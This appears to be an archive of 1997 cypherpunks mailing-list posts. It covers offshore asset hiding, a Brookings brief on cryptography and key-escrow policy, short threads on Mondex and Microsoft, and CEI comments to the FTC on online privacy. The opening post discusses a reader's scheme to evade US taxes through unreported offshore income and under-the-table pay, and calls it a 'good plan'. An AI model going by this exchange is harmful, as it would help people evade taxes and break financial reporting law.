Well, first off, there's a huge difference between living at a "kind of
broke now" level and living at higher levels....those who are "kind of
broke" often pay minimal taxes anyway, so having their minimal assets, if
any, in a bank near the youth hostel in Amsterdam is hardly a comparison to
having, say, much larger amounts in offshore banks.

Getting the assets out is often a sticking point. Recall the oft-discussed
requirement for reporting offshore assets. And various bank and brokerage
requirements for reporting transfers. Attempts to evade these limits are
often successful...but sometimes not.

(A college friend of mine is married to an Assistant DA for the Brooklyn,
N.Y. area...one of her cases some years back involved prosecuting a guy who
was taking cash out of the country, sewed into the lining of his coat.)

Contrary to what is sometimes claimed here, it is not a matter of just
"wiring" one's assets out to a foreign site, and then being homefree.

By the way, the United States taxes foreign income for all U.S. citizens
for up to 10 years after their departure from U.S. soil. Doesn't mean they
can get this tax, but they will try. And those who don't play ball face
"failure to file" charges, etc. As computerization increases, border checks
will increase.

There have been several proposals, none yet enacted (fortunately), to
impose an "exit tax" on assets. That is, if one tries to transfer money out
a tax would be imposed. This even before the assets are sold, or income
realized. Similarities with the exit taxes of other repressive regimes are
obvious.


>in the United States, but rather spent life living in a college dorm
>(which is unlikely to flag anything at the IRS, being part of a bill which
>is routinely paid by third parties, often from outside of the US), on a
>boat registered outside of the US, or visiting places around the country
>and world, plus had some plausible way of hiding this extra income of
>yours, you could get by reporting only an abusrdly low amount of income
>from a part time job or something, and no one would be the wiser.

Sure, there are many possible scenarios. The "perpetual tourist" one is an
example. Again, the issue, espeically for folks like me, is gettign the
assets outside the view of the IRS in the first place. FinCEN is pretty
quick to spot transfers.

(All of you should be well familiar with "FinCEN," the Financial Crimes
Enforcement Network, a secretive task force made up of members of NSA, FBI,
IRS, CIA, Treasury, Commerce, etc. I first started hearing about it in
1990, and "Wired" did a big expose of it in one of its early issues. Web
searches will turn up various articles.)

Note also that stocks and bonds, "securities," are essentially no longer
available as "bearer instruments." That is, they are generally tied to some
identity, either as an account entry at the issuer, or similar. Thus, the
"stock certificate" I so cleverly hide amongst my papers when I board the
flight to Austria is *not* the actual asset! The banks and transfer agents
still have the asset (which is just a book entry somewhere), and my
certificate in Foobar, Inc. is just a piece of paper: it's location in my
safe deposit box or in Austria remains "secret"--until I sell some of it.
Then, magically, the appropriate notifications are mailed to the IRS. This
is basic stuff, but it's often forgotten by people.

I'm not saying there aren't ways to get assets out of the U.S. while still
allowing folks to travel and live in the U.S. But they carry risks, and are
getting harder to pull off. (If crypto anarchy, geodesic economies, digital
money, digital bearer instruments, etc. come to pass, things may be easier.
But we are quite a ways away on this.)


>Then, as your income/assets grew, you could continue to dump money from
>off-the-record sources into an offshore account, continue to use the
>offshore account for real and untraced purchases, and continue to draw
>your small salary to show that you are paying taxes and are just poor.
>Then, graduate from university and live the rest of your life vacationing
>around the world, or skip the first step if you're smart. (From what I
>know of IRS auditing procedures, they'd be remarkably more apt to find
>out if someone with a real income's income suddenly fell to $4k/year and
>stayed there from $100k+/year with no explanation given than if mine went
>from -$30k a year to -$26k/year, so starting when you're broke might be
>a decent plan.)

Starting to hide assets when one is poor is obviously an approach. However,
most of us didn't think this way when we were poor. Then we got "not poor."
With the assets very visible--houses, stock, bank accounts, etc.

Bear in mind that administering one's offshore bank accounts still requires
some communication. Trips to Europe or the Carribbean are certainly
possible. Much more could be written on this, but I'll pass.

>
>Are there any major obvious holes in this plan?  Now all I need is to
>do some useful, crypto-anarchist work and be
>paid under the table, perhaps taking a month or two vacation to
>Antigua or someplace in the process.
>

Good plan. Maybe you'll be near Jim Bell.

There are lots of black market fortunes being made everyday...I'd be
disingenuous to say otherwise. But some risks.

In any case, beware the currency reporting and transport laws. Declarations
of currency, as noted above.

A last note. Making money is more important than avoiding taxes on a much
smaller amount of money. I _hate_ paying the taxes I have to pay, but
having money is more important than avoiding taxes.

I for one have chosen to remain in California, for all of its political
faults. (But California is correcting many of these faults, such as its
elimination of "affirmative action" in the UC system, and so on. Many call
this a "right wing backlash," but I call it a breath of fresh air.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 18 Jul 1997 21:40:11 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <3.0.2.32.19970718085427.0364b774@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:

>When microsoft has more power and money then most goverments I begin to 
>see no real difference between president Bill gates and any other
>totalrion dictator.

But how many divisions does Mr. Bill have?

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 00:37:42 +0800
To: cypherpunks@toad.com
Subject: Brookings Inst. on crypto: "There are reasonable compromises"
Message-ID: <Pine.GSO.3.95.970718092025.13136L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 09:17:52 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Brookings Inst. on crypto: "There are reasonable compromises"

Morton's Steakhouse is a true Washington institution. Nestled
in the heart of lawyer country, between K and L streets, the
clientele are well-heeled lobbyists hungry for red meat. Which
is all you'll find at Morton's, where the menu lists a fine
selection of slabs, all thick, bloody, expensive.

I had lunch at Morton's yesterday with a colleague, a fellow
from the NSA, and a gentleman from the armed forces. We
talked Net-regulation, censorship, and hacking. Most of all
we talked encryption, and crypto-compromises. This is a theme
you'll see repeated in this recent policy paper from the
liberal Brookings Institution:

	There are reasonable compromises. A useful place to start
	is a national cryptography policy... rigorous oversight
	and accountability for government access to the keys
	needed to intercept and read coded data, negotiation of
	an agreement with our close allies on a global encryption
	standard, and formation of a government/private sector
	oversight body... the basic elements of a reasonable
	compromise are now in sight and may yet be achieved...

	Current initiatives that would allow export of any
	technological solution, of unlimited strength, subject
	only to the proviso that an acceptable key recovery
	system be maintained with a suitably defined and trusted
	party (including self-escrow), are headed in the right
	direction...

-Declan

------------------

no. 21
Deciphering the Cryptography Debate

July 1997
By Kenneth Flamm

FOR THE PAST FIVE YEARS, the U.S. government and
America's information industries-producers and users
of computers, communications systems, software,
information services-have been locked in a bitter and
highly technical battle over cryptography policy: the
rules of the game for techniques used to scramble and
unscramble data. Such encryption and decryption is
vital in maintaining the confidentiality of
information (whether business information, financial
transactions, personal medical records, or government
secrets) passing through the exploding web of computer
and communications links joining this nation together.
The hard fought and often arcane debate has come to an
inconclusive and unsatisfactory draw that does little
to deal effectively with any of the conflicting
objectives-civil liberties, economic competitiveness,
law enforcement, and national security-brought to the
bargaining table.

This does not have to be. There are reasonable
compromises. A useful place to start is a national
cryptography policy built around four key
elements-strong cryptography put into wide use, a
strengthened legal framework and electronic logging
system that provides rigorous oversight and
accountability for government access to the keys
needed to intercept and read coded data, negotiation
of an agreement with our close allies on a global
encryption standard, and formation of a
government/private sector oversight body to review
both the overall security of our national information
infrastructure and the voluntary testing and
certification of encryption and security products.



Why Is Cryptography Important?


UNTIL THE MIDDLE OF THIS CENTURY, codemaking and
codebreaking were primarily the concern of governments
protecting diplomatic and military communications.
World War II was a turning point for cryptography. The
first primitive electronic computers were built by the
United States and Britain during that war and used to
break German and Japanese codes. Using technology and
methods that remained closely guarded military secrets
until the late 1970s, the Allies succeeded in building
electronic machines to break the supposedly
unbreakable codes used to encrypt virtually all Axis
radio messages. This allowed the Allies, for example,
to read signals sent by German submarines as they
reported their locations, send forces to destroy them,
and win the vitally important battle for the North
Atlantic shipping lanes.

After the war, U.S. codebreakers continued to play a
central role in the development of the fastest
possible computers of the day, so-called
supercomputers. In the late 1960s, others in the
military funded research into damage-resistant digital
communications networks that gave us the first working
prototype of today's Internet.

As computers and network use also took hold within
business in the 1960s and 1970s, cryptography (mainly
the domain of government in earlier decades)
increasingly began to protect sensitive business
information stored in private sector computers. With
outside computer links through communications networks
growing, the dangers of unauthorized penetration into
sensitive computer databases through these external
ties also multiplied. The financial sector led these
technological changes. As global financial markets,
national banking systems, and local automated teller
machines all went electronic, cryptographic systems
were installed to protect sensitive data coursing
through the digital arteries of finance.

Today, we are teetering at the precipice of an even
wider transformation of the basic infrastructure for
commerce. Telecommunications services, retailing, and
the electric power grid are already organized around
vast computer networks. Multinational companies link
global operations over international networks. By
1999, all U.S. government benefits will be paid
electronically. Doctors will access data and
communicate remotely with patients, businesses will
buy services from consultants, contractors will sell
to government, researchers will provide policy advice,
seminars will be organized-all over computer networks.
Vast savings in time and resources and improvements in
business productivity seem possible. For this leap
forward in our economic infrastructure to be realized,
however, the information running through the system
will have to be authenticated, verified, protected
from unauthorized access, and guarded against witting
or unwitting corruption.

Equally profound changes are going on within the
military establishments whose investments initially
spurred the computer revolution. Our post-Desert Storm
military forces are as dependent on complex
computerized command, control, and communications
networks as commercial industry. The Defense
Department is today groping toward an information
technology-based Revolution in Military Affairs, a
future in which sensors, intelligence databases,
command and control systems, precision munitions, and
smart weapons platforms are seamlessly linked together
in real time to deliver measured military force
swiftly, surely, and over great distances.

In contrast to the situation of forty years ago,
enormous private sector investments are today driving
the engine of information technology, with the
military largely drawing on commercial technology for
its particular variant of the information revolution.
Commercial and military computer and communications
systems-like the core industrial infrastructure
underlying modern military power-are hopelessly
intermingled within the sinews of the U.S. information
economy. A new term, information warfare, explicitly
recognizes that an attack designed to disrupt our
military capability or will to fight is as likely to
target nominally civil infrastructure, like
telecommunications networks, the electric power grid,
the banking system, or air traffic control, as any
purely military system.

Widespread use of effective cryptography to secure and
protect the rivers of data flowing through computer
and communications systems is needed now to enable the
further development of the information infrastructure
for tomorrow's high-tech economy and to protect
military capabilities dependent on that same
information infrastructure.

What Are the Issues?


The heated debate over cryptography policy is
fundamentally driven by rapid technological change.
The price of computing power has been dropping 20 to
30 percent annually over decades now, an order of
magnitude greater than anything measured during the
first great Industrial Revolution of two centuries
ago.

Computing power is used to both make and break codes,
and as the cost of computing power plummets,
cryptographic systems that once offered adequate
protection for data become insecure. By the same
token, however, cheaper computers also make it cost
effective to encrypt data where once it would have
been uneconomic. Paradoxically, then, plummeting
computing costs have both enabled the widespread use
of encryption to defend information security and
increased the ability of moderate to large
organizations (in the private sector and governments)
to afford the computing resources needed to
successfully attack once-capable encryption systems.
To balance these shifting forces, the United States
must grapple with multiple and often conflicting
objectives.

First, there are constitutional issues. On the one
hand, the United States has a well-established
tradition of respect for privacy and civil liberties
that is a bedrock of our society. On the other hand,
there are few absolute rights-under court order,
communications can be legally intercepted, and private
homes may be entered and searched. Encryption-like
"speaking in tongues"-might even be interpreted as a
form of speech and offered the greater protection that
freedom of speech enjoys. Historically, the government
has not attempted to control the use of encryption
within domestic U.S. borders but instead limited its
export overseas. Similarly, court orders are required
to lawfully intercept domestic telephone
conversations, but not for foreign traffic. The legal
framework protecting data communications-including
encryption of data-has not changed to address the many
new channels for expression (and surveillance of
expression) opened up by the computer revolution. It
is now appropriate to establish an organized and
systematic legal framework for our information
society.

Second, we need to use strong cryptography to enable
electronic commerce on the burgeoning information
infrastructure that is going up all around us. The
potential economic benefits from moving forward
rapidly to locate our businesses on the information
superhighway seem large. Without ironclad security,
however, no business is going to drive its sensitive
data up the on-ramp. Strong cryptography is a small
but vital piece in the systems that will provide
information security.

Third, U.S. companies are world leaders in computers
and communications, where success in global markets is
an essential ingredient in maintaining competitive
advantage. But the market for information technology
is one in which capable foreign competitors stand
ready to pick up the baton of technological leadership
should American firms stumble. The economic
preeminence of U.S. information technology
companies-and the resulting benefits to the U.S.
economy-are arguably at risk should U.S. producers be
blocked from selling important technology that is
available from foreign competitors.

Law enforcement objectives, in contrast, argue for
controls on use of strong cryptography (while
recognizing that cryptography also protects against
electronic crimes). Since the dawn of the age of
telephony, lawful wiretapping has been viewed as an
essential tool for police, the legal extension of the
right to enter and search under warrant. In the
information age, with the proliferation of digital
technology, cryptography has the potential to deny
police the lawful access that they now enjoy to voice
and data communications.

National security has been another powerful argument
for limits on encryption. Though not often discussed
openly, interception of foreign communications traffic
is in all likelihood one of the most valuable and
reliable sources of intelligence for defense and
foreign policy purposes. Routine use of strong and
difficult-to-break cryptography in, say, the global
public telephone network would be a nightmare scenario
for both law enforcement and the intelligence
community.

But we should also recognize that while global
availability of strong encryption may limit our
offensive gathering of foreign intelligence and
perhaps in the future, offensive "information
warfare," the global economic success of U.S.
information technology producers also has a positive
value for offensive intelligence gathering. Even the
strongest encryption technology may be rendered
vulnerable by the way it is administered and used. A
global marketplace dominated by the products of the
United States and its allies-which will be well
understood by a substantial community of American
technologists-will be much more transparent to allied
intelligence gathering than a world market dominated
by the unfamiliar and poorly understood products of
others.

And strong encryption, even if pervasive and
unbreakable, will nonetheless have a positive national
security value in protecting U.S. information from the
snooping of adversaries, political and economic. It
will also have significant value as a defensive
rampart against the information warfare offensives of
adversaries. Arguably the United States, now reliant
on the most advanced and pervasive information
infrastructure in the world, is also the nation with
the most to lose to disruption by a successful
offensive attack.

Finally, we must acknowledge that as more and more
aspects of our personal and economic lives are
connected to, and accessible over, the information
superhighway-things like medical records, corporate
accounts, personal travel plans, even daily calendars
and diaries-the "wiretapping" metaphor for permitting
government access to electronic information begins to
break down. It is no strain to forecast a
not-too-distant digital future in which almost
everything-all sorts of personal information, records,
even art and music-is stored or communicated
electronically, connected to or accessible through
some computer network. As the Worldwide Web reaches
out to encompass all aspects of our lives, a
surreptitious government access hatch begins to
resemble a special door built into the basement of our
homes through which government can enter without our
knowledge or consent.

Our Constitution's protections against "unreasonable
searches and seizures" should be our guide as we chart
these deep and unknown waters. Government access to
private information should be governed by clear rules
that "we, the people" make after open debate. Even in
simpler times, there have been occasional but deeply
disturbing instances in which individuals in
government have abused powers granted for legitimate
law enforcement and national security purposes. As
pervasive electronic tendrils from the information
superhighway reach into the nooks and crannies of our
lives, the potential damage from poor judgment (or
worse yet, corruption) by some individual in
government will be enormous. It is vital that a system
with clear guidelines and strict accountability be put
into place to oversee our national encryption policy
as we strike a balance among the multiple, legitimate
objectives.

Where Are We Now?


In the late 1970s, industry, in collaboration with the
U.S. government, developed a Data Encryption Standard
(DES) based on coding keys (sequences of binary
digits, or bits) that were 56 bits long. Though widely
used today, steady advances in computer performance
now make this system vulnerable (commercial
supercomputers almost double in power every year,
sufficient to "break" a key that is one bit longer in
some given time). Much stronger encryption systems are
used within the military and other parts of the U.S.
government. Until 1996, the State Department did not
readily permit the export of encryption systems using
keys longer than 40 bits, which can be easily broken
today.

The Clinton administration, recognizing the need to
promote commercial use of stronger encryption,
unveiled such a system in April 1993 (actually
developed under previous administrations but not
publicly promoted). The system used special computer
circuitry dubbed the "Clipper" chip, with decoding
keys issued in two parts and held by two separate
government agencies-within the Treasury Department and
the Commerce Department. This Clipper chip initiative
championed the concept of "key escrow," with
government holding copies of the keys used to encrypt
data, and argued for its voluntary adoption by the
private sector as a solution to increasingly evident
data security problems.

Since only stronger encryption systems using the
Clipper chip, or similar technology, were likely to be
approved for export, critics argued that the system
was not really voluntary. No U.S. multinational
corporation would want to build and maintain two
separate computer and communications networks-one for
domestic use and one for international use.

There were other practical objections. It was unclear
how foreign governments would react to companies
operating in their nations giving the U.S. government
the keys to read encrypted communications, or even if
this would be required. There was suspicion that the
Clipper chip, with its proprietary
government-developed technology, was not as secure as
advertised and might even allow surreptitious
government interception without appropriate legal
safeguards. Even more important, there was concern
that a government-mandated technical solution was
being imposed on an industry that was far more capable
and responsive to continuing technological change than
any cobwebbed and inflexible government bureaucracy,
and that industry itself through market forces was
much better able to work out the best solutions to its
information security problems.

Furthermore, argued much of U.S. industry,
increasingly capable foreign producers were beginning
to market and sell encryption systems that were
stronger than what U.S. industry would be permitted to
sell in export markets. The net effect of
administration policy, in this case, would be to tie
the hands of U.S. industry and leave an important and
growing segment of the information industry to foreign
producers, free to sell any and all strong encryption
products to customers anywhere.

Stung by these criticisms, the Clinton administration
withdrew and regrouped. In mid-1994, it offered up a
new proposal in which "trusted third parties" within
the private sector, rather than the government itself,
would act as key escrow agents. This did little to
silence industry critics.

Finally, in 1996 the administration revealed a new
plan and made some important changes in the direction
of its policies. There would henceforth be no
restrictions on exports of cryptographic systems-based
on key length or technology-if those systems contained
so-called key recovery features. That is, if U.S.
exporters could demonstrate a viable plan in which
trusted third parties (possibly including
"self-escrow" within user organizations) would hold
(and supply to government when presented "appropriate
legal authority") information that would permit
recovery of code keys and decryption of data,
unrestricted export of such encryption systems would
be allowed. Over an interim period of two years,
exports of non-key recovery 56-bit cryptography
systems would be permitted by producers demonstrating
a commitment to develop viable key recovery systems.
Cryptographic systems would be reclassified as a
dual-use commercial product, rather than a munition,
and export controls transferred from the State
Department to the Commerce Department (though the
Department of Justice would now play a new advisory
role in the export licensing process). Finally, an
explicitly international framework would be sought,
with mutual access to national key recovery agents
negotiated with foreign governments through carefully
defined legal procedures.

Though some in the U..S. business community continued
to object, initial reaction was much more favorable
than with previous cryptography initiatives. The
government had worked with U.S. business in developing
the new initiative, and a number of major U.S.
computer and software companies voiced support for the
general principles outlined in the initiative. (A
system that enabled recovery of their own encrypted
business data, in fact, was actually useful to
companies in dealing with the risks of employee
turnover.) Others took a wait-and-see approach.

The wait was not a long one. Within months, a number
of the proposal's initial supporters had publicly or
privately defected as the details of its
implementation were revealed. One major sticking point
was the government's apparent desire to involve itself
in frequent and detailed reviews of proprietary
company business plans and progress in developing key
recovery systems, as a condition for continued
approval of interim exports of 56-bit systems.

By mid-1997, some additional problems had become
visible. A U.S. attempt at internationalizing the key
recovery principle met only limited success: a draft
policy from the Organization for Economic Cooperation
and Development (OECD) recommended only that the
issues be left to national discretion. While the
United States, Britain, and France publicly supported
the idea (and Japanese officials made it clear
privately that they too would cooperate), opinion in
Germany was divided, and other countries hesitated.
Dueling bills-establishing a legal framework for key
recovery, decontrolling cryptography export-were
debated on Capitol Hill. On the face of it, another
impasse was shaping up.

In fact, however, with a little more flexibility and
some degree of innovation, the basic elements of a
reasonable compromise are now in sight and may yet be
achieved. For the first time, the varied interests at
stake are close enough to a workable solution to make
establishment of a functioning and effective national
cryptography policy a real possibility.

Seeking Common Ground


Four basic elements make up the core of what a
national cryptography policy should do. First and
foremost, strong cryptography-strong enough to resist
the attacks that rapidly improving computer technology
will continue to breed-must be available for routine
business use. In an integrated global economy, this
also means that it must be usable and exportable
around the world. Current initiatives that would allow
export of any technological solution, of unlimited
strength, subject only to the proviso that an
acceptable key recovery system be maintained with a
suitably defined and trusted party (including
self-escrow), are headed in the right direction. This
will permit market forces to determine the most cost
effective and flexible technologies, build in the
ability to respond dynamically to continuing
innovations in computer and communications technology,
and yet maintain the ability of law enforcement and
national security authorities to gain lawful access to
encrypted communications when a critical national
interest makes such access imperative.

But the government should be more forthright in
presenting its case. Though it is true that no
constraints on domestic use of encryption are being
proposed, the only product likely to gain wide
acceptance in today's global economy is cryptography
that is exportable to one's foreign subsidiaries and
business partners. The government should be crystal
clear in acknowledging that this debate is in fact
about the encryption systems that will be used widely
within the domestic U.S. economy. Also, key recovery
remains an untried and untested system. It is entirely
possible that a better solution to the cryptography
problem may be discovered as computing technology
advances, and policy should be flexible enough to
adapt if this happens. The critical thing is the
principle: strong encryption, widely available, with
the potential for lawful decryption by accountable
authorities.

The government still must establish clear principles
and a transparent cryptography policy. The new export
regulations do not explicitly address a large number
of significant issues (for example, backwards
compatibility of key escrow with interim 56-bit
systems, length of time escrowed keys must be kept for
different types of data) that are now being defined in
a piecemeal and private fashion as individual
companies' key recovery product development plans are
submitted with license requests. Various "exceptions"
to the infant policy- permitting the export of
stronger encryption without key recovery, for example,
in specialized financial applications, or to banks and
foreign subsidiaries of U.S. companies- are announced
weekly. A "black box" process ("just submit it, and
we'll tell you if it's OK") that sets limits on
cryptography without open discussion and debate and
forces Americans to struggle to infer the policy from
the sparse and sometimes inaccurate details published
in the press is totally unacceptable in an area this
important to the nation.

A second core element of a new national policy-and one
that has yet to be carefully addressed by any broad
initiative-is the construction of a clear, up-to-date
legal framework for, and safeguards on, government
access to encrypted data and communications.
Government access is only tolerable in pursuing the
legitimate social objectives outlined earlier. The
legal framework defining privacy and freedom of speech
in electronic data and communications is currently a
crazy, patchwork quilt with many holes in it. The
administration's new rules specify that key recovery
agents must hand over keys to the government within
two hours after receiving "appropriate legal
authority" but nowhere define precisely what this
authority must be. Is a court order required, or
merely a signature from a political appointee, and
under what circumstances? Our laws should be debated
and updated to define the answers better and more
comprehensively, given current and foreseeable
technological realities.

Careful attention must also be paid to the potential
for abuse or corruption. Even after appropriate legal
authority is granted on paper for some narrow purpose,
there is typically substantial room for interpretation
as to what is "reasonable" in deciding how wide to
cast an electronic net in trapping suspicious
communications and how to deal with unexpected
discoveries that turn up. Most government officials
can be expected to behave in a responsible and lawful
way, but an excessively curious or aggressive, or even
corrupt, official using a legal interception to "surf"
through data or communications beyond its intended
scope creates a potential for damage that will grow
just as quickly as the information superhighway
itself. The same computer technology that makes
electronic communication so cheap and pervasive also
makes it possible to electronically record and log,
with a permanent and verifiable audit trail, any
government interception of electronic communications.
Just as financial services companies safeguard against
abuse by logging and taping telephone contacts with
customers, comprehensive logs and a verifiable audit
trail should be automatically recorded and stored
electronically in each and every instance that a
government official intercepts private data or
communications. In addition, tougher standards for
private abuse of personal data and illegal access to
private communications should be included in whatever
new legal framework is adopted, and significant
penalties should be defined.

Third, a national cryptography policy must recognize
that the problems-and solutions-outlined above are
inherently international in scope. Law enforcement,
national security, regulation and oversight of global
finance and trade are all areas that span national
boundaries today and require cooperation among
governments. Just as our private sector works with its
foreign partners to define standards that allow it to
operate easily and effectively in global markets, the
U.S. government must work with foreign governments to
define an international encryption policy that makes
the U.S. approach compatible with foreign systems.
U.S. requirements imposed on U.S.-based businesses
must be compatible with the foreign environments in
which they operate.

U.S. requirements should also be no more onerous than
those imposed by foreign governments on their business
communities. A level playing field, with common global
rules of the game, is needed to avoid giving economic
rivals competitive advantages over one another. The
administration made an important and correct decision
in seeking an international consensus on the key
recovery approach to strong encryption and must be
sure to continue to work hard in seeking this common
global approach. While it has yet to achieve such a
consensus within the OECD, many of the key players
with the technical capability to ship advanced
cryptography products and affect global
markets-Britain, France, and (quietly) Japan-are
supporting the U.S. approach, and if a few more (like
Germany and Israel) can be brought on board, the
critical mass around which the core of an
international agreement can be assembled will exist.

Finally, with cryptography set to play such a key role
in tomorrow's information infrastructure, some new
institution that provides a framework for business and
government to jointly examine both the overall
security of our information infrastructure and the
integrity of its individual parts is needed. At the
micro level, we must recognize that acquiring a
cryptographic product is not like buying a computer or
auto- simply testing or using it within an
organization gives insufficient insight into its
quality or utility. The essence of an effective
cryptography system is what the most capable and
potentially hostile forces outside a business or other
organization can do with the system. There are also
obvious economic benefits from some sort of
government-industry testing and certification process
that spares individual customers a costly and
duplicative investment in determining the
effectiveness of a cryptography product (and makes use
of sensitive information that may be available only to
the government). At the macro level, the integrity of
our power grid, banking system, and phone network are
clearly as vital to our national security as the
number of transport aircraft the U.S. Air Force buys,
and both government and industry have an obvious
interest in scrutinizing the entire information
infrastructure and taking steps to reduce weaknesses
and vulnerabilities. Government and the private sector
should form an oversight body tasked with both
reviewing the overall integrity and security of the
national information infrastructure and creating a
voluntary testing and certification process for the
information security products developed by the private
sector.

A national cryptography policy built around these four
elements- strong cryptography put into wide use, a
strengthened legal framework and electronic logging
system that provides rigorous oversight and
accountability for government access to the keys
needed to intercept and read coded data, negotiation
of an agreement with our close allies on a global
encryption standard, and formation of a
government/private sector oversight body to review
both the overall security of our national information
infrastructure and the voluntary testing and
certification of encryption and security products-will
leave many (maybe even most) participants in the
current debate unsatisfied. An absolute right to
privacy would not be created in the electronic realm.
The government would probably face greater constraints
in seeking lawful access to electronic communications,
and maintenance of auditable records probably will
create some additional costs. Business is being asked
to bear some burden in keeping the keys needed to
decrypt confidential communications for a time.
Intelligence and national security officials will be
more dependent than ever before on cooperation with
their allied counterparts. Cooperation on common rules
of the game for encryption at the international level
will have to be carefully negotiated. None of this
will be painless. But it must be done if we are to
balance an important and complex set of interests as
we enter the next century, the age of the information
society.

Kenneth Flamm is a senior fellow in the Brookings
Foreign Policy studies program and the author of
Mismanaged Trade? Strategic Policy and the
Semiconductor Industry (Brookings, 1996). The views
expressed in this Policy Brief are those of the author
and not necessarily those of the trustees, officers,
or other staff members of the Brookings Institution.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 18 Jul 1997 11:52:30 +0800
Subject: Re: ESPN hacked -- got info? (fwd)
In-Reply-To: <199707180310.XAA23878@homeport.org>
Message-ID: <Pine.LNX.3.93.970718093355.213D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Adam Shostack wrote:

> 	Strong crypto is useful not in building a web site,

It is when your transfuring large amounts of money via it.  The secuarty
should cost more to break to brack then you can make from braking it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 19 Jul 1997 01:11:11 +0800
To: Ryan Lackey <cypherpunks@Algebra.COM
Subject: Re: mondex
In-Reply-To: <199707181026.GAA01342@the-great-machine.mit.edu>
Message-ID: <v03102814aff5515737fd@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:26 AM -0400 7/18/97, Ryan Lackey wrote:
>It would be kind of impressive in a way if Mondex were lame about
>allowing other currencies to proliferate free of state influences, yet
>managed to get the basic technology employed around the world, then some
>cypherpunkish group came up with their own cards, a little bit of
>software, etc. and then issued currency with more behind it than Mondex
>franchisees, had higher profits than Mondex, and then were to be the
>only currencies anyone would trust after the collapse of a few state-backed
>currencies.  Also, I'd trust the cypherpunkish crowd to do a better job
>of hardware and software design for the cards and system, so they're
>likely to be more secure in that fashion as well.
>
>Am I being utterly out of touch with reality, or only tangential to it?

Actually Doug Barnes, C2, gave a brief but excellent rump session talk at
FC '97 pointing out that Mondex could be a near ideal way to pay for fully
anonymous e$, since settlement can be offline, immediate, and
non-repudiatable.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 01:47:10 +0800
To: cypherpunks@toad.com
Subject: FTC privacy comments from CEI and National Consumer Coalition
Message-ID: <Pine.GSO.3.95.970718103108.13136X-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 10:30:59 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FTC privacy comments from CEI and National Consumer Coalition

The Competitive Enterprise Institute and the National Consumer Coalition
filed these comments in response to the FTC's four-day privacy hearing
last month. Some excerpts:
	
	The fear over children seeing sexually explicit materials
	online led to hasty calls for Internet censorship in the
	Communications Decency Act. Yet the Supreme Court
	recently struck down the law, ruling that the Federal
	government should not be in the business of trying to
	protect children with such a blunt - and patently
	unconstitutional - instrument. Similarly, the  rhetoric
	surrounding the issue of children's privacy on the
	Internet has led to hasty calls for regulation.  Indeed,
	the Administration has taken a strong, even ominous
	position: "This problem warrants prompt attention. 
	Otherwise, government action may be required." [...]

	Sometimes information has been released to anybody and
	everybody, via chat rooms or other forums.  Since this
	information becomes part of the knowledge of others, our
	"property right" to control this information is actually
	a "right" to control the actions of other people who now
	have this information.  This is an infringement upon our
	basic freedoms of association, contract, and speech.
	There is nothing wrong with collecting information freely
	placed in public, as much of this information is. [...]

More info:

 http://pathfinder.com/netly/editorial/0,1012,1050,00.html
 http://pathfinder.com/netly/opinion/0,1042,1055,00.html

-Declan

---------- Forwarded message ----------

July 14, 1997

Secretary
Federal Trade Commission
Room H-159
Sixth St. and Pennsylvania Avenue, NW
Washington, D.C. 20580

Consumer Privacy 1997
Additional Comments P954807


To the Secretary:

The Competitive Enterprise Institute and the National
Consumer Coalition hereby file additional comments on
the Commission's June 10-13 hearings on "Consumer
Privacy Issues Posed by the Online Marketplace." CEI
is a non-profit, non-partisan free-market research and
advocacy group.   The NCC is a coalition of nine
organizations dedicated to the proposition that
consumers are best served by a free market in goods
and services.   We thank the Commission for including
us in the four Roundtable discussions during the
hearings, and appreciate the opportunity to elaborate
upon some of the issues raised during the course of
the hearings.

What is Privacy? - Part II

In our opening comments, we wrote that when it comes
to collection of consumer data, "privacy is not a
right, it is a preference."   The evidence presented
during the hearings regarding ways to "protect"
privacy, as well as the surveys showing consumer
views, have convinced us that this remains true.

The Harris/Westin survey was an interesting
contribution to the discussion of privacy on the
Internet. We are not convinced, however, that everyone
interviewed understood "privacy" in the same way.
Privacy is an abstraction, like "freedom" or
"justice," so it is likely that the people surveyed
imposed their own concerns upon the term "privacy."
One point on which the survey is clear is that people
who are concerned about their privacy have done
something about it.  In this case, it is more
illuminating to look at what people do than at what
they say.

